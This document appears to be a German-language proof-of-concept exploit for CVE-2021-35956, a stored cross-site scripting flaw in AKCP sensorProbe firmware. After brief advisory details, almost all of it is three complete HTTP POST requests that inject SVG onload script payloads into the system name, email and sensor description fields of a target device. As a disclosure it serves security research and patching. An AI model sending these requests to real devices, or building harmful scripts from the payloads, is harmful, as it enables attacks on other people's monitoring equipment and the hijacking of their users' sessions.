CVE-2021-35956.

Proof-of-Concept-Exploit für CVE-2021-35956, AKCP sensorProbe - 'Mehrere' Cross-Site-Scripting (XSS).

Exploit-Titel: AKCP sensorProbe - 'Mehrere' Cross-Site-Scripting (XSS).
Datum: 07-01-2021.
Exploit-Autor: Tyler Butler.
Hersteller-Homepage: https://www.akcp.com/.
Software-Link: https://www.akcp.com/support-center/customer-login/sensorprobe-series-firmware-download/.
Advisory: https://tbutler.org/2021/06/28/cve-2021-35956.
Version: < SP480-20210624.
CVE: CVE-2021-35956.

Beschreibung: Gespeichertes Cross-Site-Scripting (XSS) im eingebetteten Webserver von AKCP sensorProbe vor SP480-20210624 ermöglicht es remote authentifizierten Angreifern, beliebiges JavaScript über die Felder Sensor-Beschreibung, E-Mail (von/an/CC), Systemname und Systemstandort einzuschleusen.

Gespeichertes Cross-Site-Scripting über Systemeinstellungen

POST /system?time=32e004c941f912 HTTP/1.1
Host: [target]
Content-Length: 114
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://[target]
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://[target]/system?time=32e004c941f912
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

_SA01=System+Namer&_SA02=RDC&_SA03=Name<svg/onload=alert`xss`>&_SA04=1&_SA06=0&_SA36=0&_SA37=0&sbt1=Save

Gespeichertes Cross-Site-Scripting über E-Mail-Einstellungen

POST /mail?time=32e004c941f912 HTTP/1.1
Host: [target]
Content-Length: 162
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://[target]
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://[target]/mail?time=32e004c941f912
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close


[email protected]&[email protected]&[email protected]&[email protected]&_PS05_3=<svg/onload=alert`xxss`>&_PS05_4=&sbt2=Save

Gespeichertes Cross-Site-Scripting über die Sensor-Beschreibung

POST /senswatr?index=0&time=32e004c941f912 HTTP/1.1
Host: [target]
Content-Length: 55
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://[target]
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://[target]/senswatr?index=0&time=32e004c941f912
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: CPCookie=sensors=400
Connection: close

_WT00-IX="><svg/onload=alert`xss`>&_WT03-IX=2&sbt1=Save

CVE-2021-35956

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CVE-2021-35956.